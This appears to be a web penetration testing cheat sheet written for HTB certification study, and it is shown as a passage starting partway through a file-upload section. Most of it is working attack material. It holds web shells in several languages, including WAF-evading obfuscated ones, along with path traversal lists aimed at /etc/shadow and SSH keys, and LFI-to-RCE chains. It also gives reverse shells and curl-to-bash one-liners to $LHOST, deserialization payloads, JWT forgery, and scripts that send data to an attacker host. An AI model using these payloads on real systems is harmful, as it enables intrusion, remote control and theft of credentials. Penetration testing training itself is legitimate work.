# Add magic bytes to bypass file type checks # GIF + PHP printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php # JPEG + PHP printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.jpg.php # PNG + PHP printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png.php # MIME type manipulation in Burp # Change: Content-Type: application/x-php # To: Content-Type: image/jpeg # exiftool — embed PHP in image metadata exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg.php

.htaccess Upload

bash
# If you can upload to a writable directory with Apache: # Upload a malicious .htaccess: echo 'AddType application/x-httpd-php .jpg' > .htaccess # Now any .jpg in that directory executes as PHP # Upload shell.jpg: echo '<?php system($_GET["cmd"]); ?>' > shell.jpg

Web Shells Reference

php
# PHP <?php system($_GET['cmd']); ?> <?php echo shell_exec($_GET['cmd']); ?> <?php passthru($_GET['cmd']); ?> <?php eval($_POST['cmd']); ?> <?php echo exec($_GET['cmd']); ?> # PHP one-liner with output <?php echo "<pre>".shell_exec($_GET['cmd'])."</pre>"; ?> # Obfuscated PHP (WAF bypass) <?php $f='sys'.'tem';$f($_GET['cmd']); ?> <?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}['c']($_GET['c']); ?> # ASP <% Response.Write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %> # ASPX <%@ Page Language="C#" %> <% System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>"); %> # JSP <% Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c", request.getParameter("cmd")}; Process proc = rt.exec(commands); java.io.InputStream is = proc.getInputStream(); java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); out.print("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>"); %>

A11 — LFI / Path Traversal / RFI

Path Traversal Payloads

bash
# Basic ../../../etc/passwd ..%2F..%2F..%2Fetc%2Fpasswd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ..%252f..%252f..%252fetc%252fpasswd # double encoded # Filter bypass ....//....//....//etc/passwd # filter strips ../ ..././..././..././etc/passwd # filter strips ../ /etc/passwd # absolute path ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd # unicode # Null byte (PHP < 5.5) ../../../etc/passwd%00 # Windows ..\..\..\windows\system32\drivers\etc\hosts ..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts %2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cwin.ini # Common files to read — Linux /etc/passwd /etc/shadow /etc/hosts /etc/hostname /etc/os-release /proc/self/environ /proc/self/cmdline /proc/self/maps /proc/net/tcp /var/log/apache2/access.log /var/log/apache2/error.log /var/log/auth.log /var/log/nginx/access.log /var/log/nginx/error.log /home/user/.bash_history /home/user/.ssh/id_rsa /root/.ssh/id_rsa /var/www/html/config.php /var/www/html/.env /etc/nginx/nginx.conf /etc/apache2/apache2.conf /etc/apache2/sites-enabled/000-default.conf # Common files — Windows C:\windows\system32\drivers\etc\hosts C:\windows\win.ini C:\windows\system.ini C:\Users\Administrator\Desktop\root.txt C:\inetpub\wwwroot\web.config C:\windows\PHP\php.ini

LFI to RCE

bash
# Log poisoning (Apache access log) # 1. Poison the log via User-Agent or URL curl -A "<?php system(\$_GET['cmd']); ?>" $URL # 2. Include the log via LFI curl "$URL/page.php?file=/var/log/apache2/access.log&cmd=id" # Log poisoning via SSH ssh '<?php system($_GET["cmd"]); ?>'@$IP # username as PHP code # Then include /var/log/auth.log # Log poisoning via SMTP telnet $IP 25 EHLO MAIL FROM: <?php system($_GET['cmd']); ?> # Then include /var/log/mail.log # /proc/self/environ (requires PHP-CGI or specific config) curl -A "<?php system(\$_GET['cmd']); ?>" "$URL" curl "$URL/page.php?file=/proc/self/environ&cmd=id" # PHP session file poisoning # 1. Find session parameter # 2. Inject PHP code into session value curl "$URL/page.php?param=<?php system(\$_GET['cmd']); ?>" # 3. Include session file curl "$URL/page.php?file=/var/lib/php/sessions/sess_SESSIONID&cmd=id" # PHP wrappers # Read file as base64 curl "$URL/page.php?file=php://filter/convert.base64-encode/resource=config.php" echo "BASE64" | base64 -d # Zip wrapper # 1. Create zip with PHP file echo '<?php system($_GET["cmd"]); ?>' > shell.php zip shell.zip shell.php # 2. Upload zip, then include curl "$URL/page.php?file=zip:///var/www/html/uploads/shell.zip%23shell" # data:// wrapper (direct PHP execution) curl "$URL/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=" # (base64 of: <?php system($_GET['cmd']); ?>) # expect:// wrapper curl "$URL/page.php?file=expect://id" # phar:// wrapper # 1. Create PHAR php -r "\$p=new Phar('shell.phar'); \$p->startBuffering(); \$p->addFromString('shell.php','<?php system(\$_GET[\"cmd\"]); ?>'); \$p->setStub('<?php __HALT_COMPILER(); ?>'); \$p->stopBuffering();" # 2. Include via phar wrapper curl "$URL/page.php?file=phar:///var/www/html/uploads/shell.phar/shell.php&cmd=id"

RFI (Remote File Inclusion)

bash
# Only works if allow_url_include = On in php.ini # Check: look for php.ini or phpinfo() page # Host malicious file python3 -m http.server 80 echo '<?php system($_GET["cmd"]); ?>' > shell.txt # Include remotely curl "$URL/page.php?file=http://$LHOST/shell.txt&cmd=id" curl "$URL/page.php?file=http://$LHOST/shell.txt%00" # null byte bypass

A12 — Command Injection

Detection Payloads

bash
# Concatenate with OS command ; id && id || id | id `id` $(id) # Newline %0a id %0a%0d id # Blind — time-based ; sleep 5 && sleep 5 | sleep 5 $(sleep 5) `sleep 5` # Blind — OOB ; curl http://$LHOST/ ; ping -c 1 $LHOST ; nslookup $LHOST $(curl http://$LHOST/)

Filter Bypass

bash
# Space bypass ${IFS} # instead of space $IFS # same {id} # braces id<>/dev/null # redirect # Using brace expansion {cat,/etc/passwd} # $() variable a=$(id);echo$IFS$a # Slash bypass ${HOME:0:1} # / (first char of /root) echo${IFS}${HOME:0:1}etc${HOME:0:1}passwd | xargs cat # Quote bypass c'a't /etc/passwd c"a"t /etc/passwd # Wildcard cat /etc/pass* cat /etc/passwd → cat /et?/pas?wd # Encoding bypass echo 'cat /etc/passwd' | base64 $(echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d) # Blacklist bypass l''s /etc/passwd # single quotes in command c\at /etc/passwd # escaped char

Reverse Shell via Command Injection

bash
# Bash ;bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' # URL encoded (for web parameters) ;bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/$LHOST/$LPORT%200>%261' # Python ;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")' # Curl to pipe ;curl http://$LHOST/shell.sh | bash ;wget -qO- http://$LHOST/shell.sh | bash

A13 — Insecure Deserialization

PHP Deserialization

bash
# Detect: look for serialized data in cookies/params # O:8:"UserData":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} # a:2:{s:4:"user";s:5:"admin";s:6:"loggedin";b:1;} # PHP POP chain tools # phpggc — PHP generic gadget chains phpggc -l # list available gadgets phpggc Laravel/RCE1 system 'id' phpggc Symfony/RCE4 system 'id' phpggc Laravel/RCE1 system 'id' -b # base64 phpggc Laravel/RCE1 system 'id' -u # URL encode phpggc -s Monolog/RCE1 system 'id' # serialize # Check /vendor/composer/installed.json for frameworks/libraries # Manual PHP object injection # Identify class name, find __wakeup() or __destruct() methods # Craft serialized object with malicious property values # Example — simple property manipulation # Original: O:4:"User":1:{s:4:"role";s:4:"user";} # Modified: O:4:"User":1:{s:4:"role";s:5:"admin";}

Java Deserialization

bash
# Detect: base64 blob starting with rO0AB or raw bytes \xac\xed echo "rO0ABX..." | base64 -d | xxd | head # look for ac ed 00 05 # ysoserial — Java gadget chains java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin java -jar ysoserial.jar CommonsCollections6 'id' > payload.bin java -jar ysoserial.jar URLDNS "http://$LHOST/" > payload.bin # blind detection java -jar ysoserial.jar Spring1 'id' > payload.bin # Available gadgets (depends on libraries on target): # CommonsCollections1-7, Spring1-2, Groovy1, Jdk7u21, URLDNS, JRMPClient # Send payload in cookie / parameter # If cookie: base64 encode the binary payload base64 -w 0 payload.bin # Reverse shell payload java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,BASE64_REVSHELL}|{base64,-d}|bash' > payload.bin

Python Pickle

python
# Detect: look for cookie/param starting with gASV... or \x80\x04\x95 import pickle, base64 class Exploit(object): def __reduce__(self): import os return (os.system, ('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"',)) payload = base64.b64encode(pickle.dumps(Exploit())) print(payload) # Send payload as pickle data

Node.js Deserialization

javascript
// node-serialize package vulnerability // Detect: JSON with IIFE patterns {"rce":"_$$ND_FUNC$$_function(){return require('child_process').exec('id')}()"} // Reverse shell {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"')}()"}

.NET Deserialization

bash
# Tools # ysoserial.net (Windows) ysoserial.exe -g ObjectDataProvider -f Json.Net -c "whoami" -o base64 ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "whoami" -o base64 # Detect ViewState tampering — if __VIEWSTATE not HMAC protected # BurpSuite extension: ViewState Editor

A14 — JWT Attacks

JWT Structure

bash
HEADER.PAYLOAD.SIGNATURE eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE

JWT Attacks

bash
# Decode JWT (no verification) echo "PAYLOAD_B64" | base64 -d # Or: jwt_tool token.txt # Tool: jwt_tool pip3 install jwt_tool jwt_tool eyJ... # decode jwt_tool eyJ... -T # tamper mode jwt_tool eyJ... -X a # algorithm confusion attack jwt_tool eyJ... -X n # none algorithm attack # Attack 1: Algorithm = None (remove signature) # Change "alg":"HS256" to "alg":"none" # Remove the signature part (keep trailing dot) # HEADER: {"alg":"none","typ":"JWT"} # Payload: {"user":"admin","role":"admin"} # Token: base64(header).base64(payload). ← empty signature python3 - << 'EOF' import base64, json header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=').decode() payload = base64.b64encode(json.dumps({"user":"admin","role":"admin"}).encode()).rstrip(b'=').decode() print(f"{header}.{payload}.") EOF # Attack 2: Weak secret brute force hashcat -a 0 -m 16500 "eyJ..." /usr/share/wordlists/rockyou.txt jwt_tool eyJ... -C -d /usr/share/wordlists/rockyou.txt # Attack 3: RS256 → HS256 confusion # If server uses RS256 (asymmetric), get the PUBLIC key # Change alg to HS256, sign with public key (HMAC with public key as secret) jwt_tool eyJ... -X k -pk public.pem # Attack 4: JWK injection (embed your own key) # Generate RSA key, embed public key in JWT header as JWK jwt_tool eyJ... -X i # Attack 5: JKU header injection (point to your own JWKS) # Host a JWKS JSON on your server jwt_tool eyJ... -X s -ju "http://$LHOST/jwks.json" # Attack 6: KID header injection # Kid parameter used in file path → LFI # "kid": "../../../dev/null" → sign with empty string # "kid": "../../etc/passwd" → sign with passwd content # Attack 7: Payload claim manipulation # Change: "role":"user" → "role":"admin" # Change: "sub":"user1" → "sub":"admin" # Change: "is_admin":false → "is_admin":true

JWT Forge with Known Secret

python
import jwt secret = "secret123" payload = {"user": "admin", "role": "admin"} token = jwt.encode(payload, secret, algorithm="HS256") print(token)

A15 — OAuth & OIDC Attacks
bash
# OAuth flow: # 1. Client requests authorization → redirect to auth server with client_id, redirect_uri, scope, state # 2. User grants access → auth server redirects to redirect_uri with code # 3. Client exchanges code for token via POST # Attack 1: redirect_uri manipulation (steal auth code) # If redirect_uri validation is weak: /callback?redirect_uri=https://attacker.com/callback /callback?redirect_uri=https://legitimate.com/../../../attacker.com /callback?redirect_uri=https://legitimate.com.attacker.com # Attack 2: state parameter missing → CSRF # If no state, craft auth URL → victim clicks → you get their token # Attack 3: Authorization code interception # If code delivered via Referer header (page has external content) # Or if redirect goes to HTTP (code in URL → logged) # Attack 4: openid scope → profile takeover # Request: scope=openid%20profile%20email # Sub claim manipulation — if sub not properly validated # Attack 5: token leakage via Referer # If access token in URL and page has external resources # Attack 6: client_secret exposure # Check JS files, mobile apps, GitHub for client_secret grep -r "client_secret" *.js # Attack 7: implicit flow token theft (fragment hash) # Inject code to steal access_token from URL fragment <script>document.location='http://$LHOST/?tok='+location.hash.slice(1)</script>

A16 — CSRF

Detection

bash
# Check if CSRF token: # 1. Is present in form # 2. Is validated server-side # 3. Is tied to user session # 4. Is unpredictable # Test: # 1. Copy legitimate request with CSRF token # 2. Remove CSRF token → does request succeed? # 3. Submit invalid CSRF token → does it fail? # 4. Submit other user's CSRF token → does it fail?

CSRF PoC

html
<!-- GET-based CSRF --> <img src="https://target.htb/account/delete?confirm=1"> <script>window.location='https://target.htb/account/promote?user=attacker&role=admin'</script> <!-- POST-based CSRF (auto-submit form) --> <html> <body onload="document.forms[0].submit()"> <form method="POST" action="https://target.htb/account/change-email"> <input type="hidden" name="email" value="attacker@attacker.com"> </form> </body> </html> <!-- JSON CSRF (if no Content-Type check) --> <html> <body onload="document.forms[0].submit()"> <form method="POST" action="https://target.htb/api/update" enctype="text/plain"> <input name='{"email":"attacker@attacker.com","ignore":"' value='"}'> </form> </body> </html> <!-- Fetch-based (same origin or CORS misconfigured) --> <script> fetch('https://target.htb/api/update', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({email: 'attacker@attacker.com'}) }); </script>

CSRF Token Bypass

bash
# Remove token entirely # Replace with empty string # Use another user's valid token (if tokens not tied to session) # Predict token (if it's timestamp-based or sequential) # CSRF via XSS — extract token from page, include in request # SameSite=None cookies without Secure flag — send cross-site

A17 — WebSockets Attacks
bash
# Intercept in Burp: Proxy → WebSockets History # Replay WebSocket messages in Burp Repeater # Manipulation payloads in message body: {"action":"get_user","id":1} # IDOR {"action":"get_user","id":1,"admin":true} # privilege escalation {"message":"<script>alert(1)</script>"} # XSS via WebSocket {"query":"SELECT * FROM users"} # SQLi via WebSocket # CSWSH — Cross-Site WebSocket Hijacking # If no CSRF token on WebSocket handshake AND cookies are not SameSite: <script> var ws = new WebSocket('wss://target.htb/ws'); ws.onmessage = function(event) { fetch('http://$LHOST/?data='+btoa(event.data)); }; ws.onopen = function() { ws.send(JSON.stringify({"action":"get_profile"})); }; </script>

A18 — GraphQL Attacks
bash
# Detect GraphQL endpoint /graphql /api/graphql /v1/graphql /gql /query /api # Introspection — dump entire schema curl -X POST $URL/graphql -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name,fields{name,type{name,kind}}}}}"}' # Full introspection query curl -X POST $URL/graphql -H "Content-Type: application/json" -d ' {"query":"{ __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }"}' # GraphQL voyager — visualize schema # Paste introspection result at: https://ivangoncharov.github.io/graphql-voyager/ # Query examples # Get all users curl -X POST $URL/graphql -H "Content-Type: application/json" -d '{"query":"{ users { id username email password } }"}' # Mutation — change password curl -X POST $URL/graphql -H "Content-Type: application/json" -d '{"query":"mutation { updatePassword(userId: 1, newPassword: \"hacked\") }"}' # GraphQL IDOR curl -X POST $URL/graphql -H "Content-Type: application/json" -d '{"query":"{ user(id: 1) { id username email } }"}' # Batching attack (brute force OTP) [{"query":"mutation { verifyOTP(code: \"0000\") }"},{"query":"mutation { verifyOTP(code: \"0001\") }"},...] # SQLi in GraphQL arguments {"query":"{ users(filter: \"1' OR '1'='1\") { username password } }"} # Disable introspection bypass # If introspection blocked, try: {"query":"{__schema{queryType{name}}}"} # minimal introspection # Or field suggestions (typo a field name, see suggestions in error) # Tools python3 graphw00f.py -d -t $URL # detect & fingerprint clairvoyance -u $URL/graphql -o schema.json # blind introspection

A19 — API Security Testing
bash
# Enumerate API versions /api/v1/ /api/v2/ /api/v3/ /api/beta/ /api/dev/ # Common API endpoints /api/users /api/users/1 /api/profile /api/admin /api/auth/login /api/auth/register /api/auth/token /api/password/reset /api/keys /api/config # HTTP method testing on each endpoint curl -X GET $URL/api/users/1 curl -X POST $URL/api/users/1 -d '{}' -H "Content-Type: application/json" curl -X PUT $URL/api/users/1 -d '{"role":"admin"}' -H "Content-Type: application/json" curl -X DELETE $URL/api/users/1 curl -X PATCH $URL/api/users/1 -d '{"role":"admin"}' -H "Content-Type: application/json" # Mass assignment curl -X PUT $URL/api/users/profile \ -H "Content-Type: application/json" \ -d '{"username":"attacker","email":"x@x.com","isAdmin":true,"role":"admin","credits":9999}' # Excessive data exposure — check if response contains more than expected curl $URL/api/users/1 | python3 -m json.tool # pretty print, look for hidden fields # API key in headers X-API-Key: secretkey Authorization: Bearer token X-Auth-Token: token # Rate limiting bypass X-Forwarded-For: 127.0.0.1 # spoof IP X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 # Change IP each request for brute force # BOLA (Broken Object Level Authorization) = IDOR for APIs GET /api/invoices/1337 → try /api/invoices/1 # BFLA (Broken Function Level Authorization) GET /api/users → 403 POST /api/admin/users → try without admin cookie DELETE /api/users/1 → try as user

A20 — Race Conditions
bash
# Scenarios: # - Double spending (buy item twice with one payment) # - Account balance manipulation # - Coupon/discount code reuse # - Password reset token reuse # - Limited quantity bypass (only 1 left, buy 10) # Turbo Intruder (Burp extension) — send requests simultaneously # Script: send all at once using HTTP/2 single-packet attack # Python threading approach python3 - << 'EOF' import requests, threading def race_request(): r = requests.post('http://target.htb/redeem', json={"coupon": "DISCOUNT50"}, cookies={"session": "your_session"}) print(r.status_code, r.text[:100]) threads = [threading.Thread(target=race_request) for _ in range(30)] [t.start() for t in threads] [t.join() for t in threads] EOF # Ffuf parallel requests ffuf -u $URL/redeem -X POST -d 'coupon=SALE50' -H "Cookie: session=X" -w <(python3 -c "print('x\n'*30)") -t 30 # Race condition in file operations # If app: check → use (TOCTOU) # Create symlink between check and use: while true; do ln -sf /etc/passwd /tmp/racefile ln -sf /tmp/legit /tmp/racefile done

A21 — HTTP Request Smuggling
bash
# Tools python3 smuggler.py -u $URL # detect & exploit # Or use Burp Suite → HTTP Request Smuggler extension # CL.TE (Content-Length frontend, Transfer-Encoding backend) POST / HTTP/1.1 Host: target.htb Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED # TE.CL (Transfer-Encoding frontend, Content-Length backend) POST / HTTP/1.1 Host: target.htb Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 # Bypass front-end access controls POST /admin HTTP/1.1 ← blocked # Smuggle admin request: POST / HTTP/1.1 Content-Length: 116 Transfer-Encoding: chunked 0 POST /admin/deleteUser HTTP/1.1 Host: localhost Content-Length: 20 username=administrator # Capture other users' requests via request smuggling POST / HTTP/1.1 ... 0 GET / HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: target.htb Cookie: session= Content-Length: 900 Content-Type: application/x-www-form-urlencoded # Next victim's request gets appended here → you see their cookies

A22 — CORS Misconfigurations
bash
# Test CORS curl -H "Origin: https://attacker.com" $URL/api/user -v | grep -i "access-control" # If response: Access-Control-Allow-Origin: https://attacker.com # And: Access-Control-Allow-Credentials: true # → Vulnerable! # Checks: # 1. Origin: https://attacker.com → reflected? → vulnerable # 2. Origin: null → allowed? → exploit via sandboxed iframe # 3. Origin: https://legitimate.target.com.attacker.com → allowed? → subdomain bypass # Exploit — steal data from authenticated API <script> fetch('https://target.htb/api/userdata', {credentials: 'include'}) .then(r => r.json()) .then(data => { fetch('http://$LHOST/?data=' + btoa(JSON.stringify(data))); }); </script> # Host on your server, trick victim to visit

A23 — Prototype Pollution
bash
# JavaScript/Node.js vulnerability # Pollute Object.prototype → affect all objects # Detection # In JSON params, try: {"__proto__":{"polluted":"yes"}} {"constructor":{"prototype":{"polluted":"yes"}}} # URL params ?__proto__[polluted]=yes ?constructor[prototype][polluted]=yes # Exploitation — RCE via server-side prototype pollution # In express apps using lodash.merge/defaults: {"__proto__":{"shell":"node","NODE_OPTIONS":"--inspect=localhost:1337"}} # child_process.execSync / exec via prototype pollution {"__proto__":{"env":{"NODE_OPTIONS":"--require /proc/self/cwd/shell.js"},"shell":"bash"}} # Tool: ppmap node ppmap.js --target $URL # Client-side → XSS # Pollute innerHTML or similar sink property {"__proto__":{"innerHTML":"<img src=x onerror=alert(1)>"}}

A24 — LDAP Injection
bash
# See also A04 section, fuller coverage here: # Authentication bypass user=admin)(&)&pass=anything user=*)(&)&pass=*) user=*)(cn=*))(|(cn=*&pass=x # Filter bypass payloads admin)(|(password=*) *)(objectclass=*))(|(objectclass=* # Data enumeration (blind — response changes) # Does user admin exist? user=admin)(uid=admin))%00&pass=x # Does any user with password starting with 'a' exist? user=*)(userPassword=a*))(|(uid=*&pass=x # Automated python3 ldap_injection.py -u $URL -p "user=INJECT&pass=test" --true="Welcome" --false="Invalid"

A25 — Web Cache Poisoning
bash
# Unkeyed headers — headers that affect response but not cache key X-Forwarded-Host: attacker.com X-Forwarded-Scheme: https X-Forwarded-Proto: https X-Host: attacker.com X-Forwarded-Server: attacker.com X-Forwarded-For: 127.0.0.1 # Test for cache poisoning # 1. Send request with unkeyed header pointing to your server curl -H "X-Forwarded-Host: $LHOST" $URL/ -v # 2. Check if response reflects the header # 3. If reflected AND response is cached → poison! # Cache poisoning → XSS # If app uses X-Forwarded-Host to build URLs in page: curl -H "X-Forwarded-Host: $LHOST/xss" $URL/ # If response: <script src="http://$LHOST/xss/app.js"> → cache and serve malicious JS # Cache key bypass # Add junk param that's stripped before cache: ?cb=1234 # Add null byte: ?%00=x # Add param with different case # Burp Param Miner → find unkeyed params # Right-click request → Extensions → Param Miner → Guess params # DoS via cache poisoning (poison error page) curl -H "X-Forwarded-Host: nonexistent" $URL/ # triggers 500 # If cached → everyone sees error

Post-Exploitation — Web Shell & Pivot

Web Shell Usage

bash
# Query your webshell curl "http://target.htb/shell.php?cmd=id" curl "http://target.htb/shell.php?cmd=whoami" curl "http://target.htb/shell.php?cmd=cat+/etc/passwd" # Upgrade to reverse shell from webshell curl "http://target.htb/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'" # URL encoded: curl "http://target.htb/shell.php?cmd=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\"))")" # POST-based webshell curl -X POST "http://target.htb/shell.php" -d "cmd=id"

Shell Stabilization

bash
# Python PTY python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg export TERM=xterm stty rows 40 cols 200

Source Code Review After Access

bash
# Find config/cred files find /var/www -name "*.php" -exec grep -l "password\|db_pass\|DB_PASSWORD" {} \; find /var/www -name ".env" 2>/dev/null find /var/www -name "config.php" -o -name "settings.py" -o -name "database.yml" 2>/dev/null # Database credentials → escalate mysql -u dbuser -p'dbpass' -e "SELECT user,password FROM mysql.user;" mysql -u dbuser -p'dbpass' -D app -e "SELECT * FROM users;"

Tools Quick Reference

Scanning & Enumeration

bash
# Nikto nikto -h $URL -o nikto.txt nikto -h $URL -ssl -port 443 # WPScan (WordPress) wpscan --url $URL --enumerate vp,vt,u wpscan --url $URL -e u --passwords /usr/share/wordlists/rockyou.txt # CMSeeK (multi-CMS) python3 cmseek.py -u $URL # Nuclei (template-based scanner) nuclei -u $URL nuclei -u $URL -t cves/ nuclei -u $URL -t vulnerabilities/ # SQLMap sqlmap -r request.txt --level=5 --risk=3 --dbs # DirSearch dirsearch -u $URL -e php,html,txt,bak -t 50 # Gobuster gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html -t 50 # ffuf ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 -mc 200,301,302,403

Exploitation Tools

bash
# Burp Suite Pro (primary tool) # sqlmap, tplmap, dalfox, xsstrike # jwt_tool, phpggc, ysoserial, padbuster # hydra, ffuf (brute force) # Commix (command injection) # Commix — automated command injection commix --url="$URL/page.php?arg=test" commix --url="$URL/page.php" --data="arg=test" commix --url="$URL/page.php?arg=test" --os-cmd="id" commix --url="$URL/page.php?arg=test" --os-shell

Key Wordlists

bash
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt /usr/share/seclists/Discovery/Web-Content/common.txt /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt /usr/share/seclists/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt /usr/share/wordlists/rockyou.txt

Key References

bash
OWASP Top 10: https://owasp.org/Top10/ PortSwigger Web Labs: https://portswigger.net/web-security HackTricks Web: https://book.hacktricks.xyz/pentesting-web PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings SecLists: https://github.com/danielmiessler/SecLists XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet SQL Injection Cheat: https://portswigger.net/web-security/sql-injection/cheat-sheet SSTI Payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection Revshells Generator: https://www.revshells.com GTFObins: https://gtfobins.github.io LOLBAS: https://lolbas-project.github.io

🔒 Built for HTB CWES/CWEE by J0stif | Web Penetration Testing Full Methodology Use responsibly on authorized systems only.